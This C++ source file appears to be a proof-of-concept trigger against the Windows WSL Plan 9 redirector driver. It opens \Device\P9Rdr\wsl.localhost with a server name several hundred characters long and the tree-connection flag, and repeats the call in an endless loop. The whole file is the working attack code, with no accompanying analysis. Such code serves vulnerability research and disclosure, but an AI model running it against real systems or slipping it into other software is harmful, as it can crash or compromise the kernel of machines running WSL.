Files

52 lines
1.6 KiB
C++

#include <iostream>
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
HANDLE OpenDevice() {
HANDLE hDevice = NULL;
UNICODE_STRING usName = { 0 };
//PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AA";
PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd";
RtlInitUnicodeString(&usName, (PWSTR)lpcwName);
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock = { 0 };
NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
printf("OpenDevice Status=0x%x\t\tlpcwName=%ls\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, lpcwName, hDevice, GetLastError(), IoStatusBlock.Information);
return hDevice;
}
void HostMain() {
while (1) {
OpenDevice();
}
}
int wmain(int argc, WCHAR* argv[])
{
HostMain();
return 0;
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PWSTR szCmdLine, int iCmdShow)
{
return wmain(__argc, __wargv);
}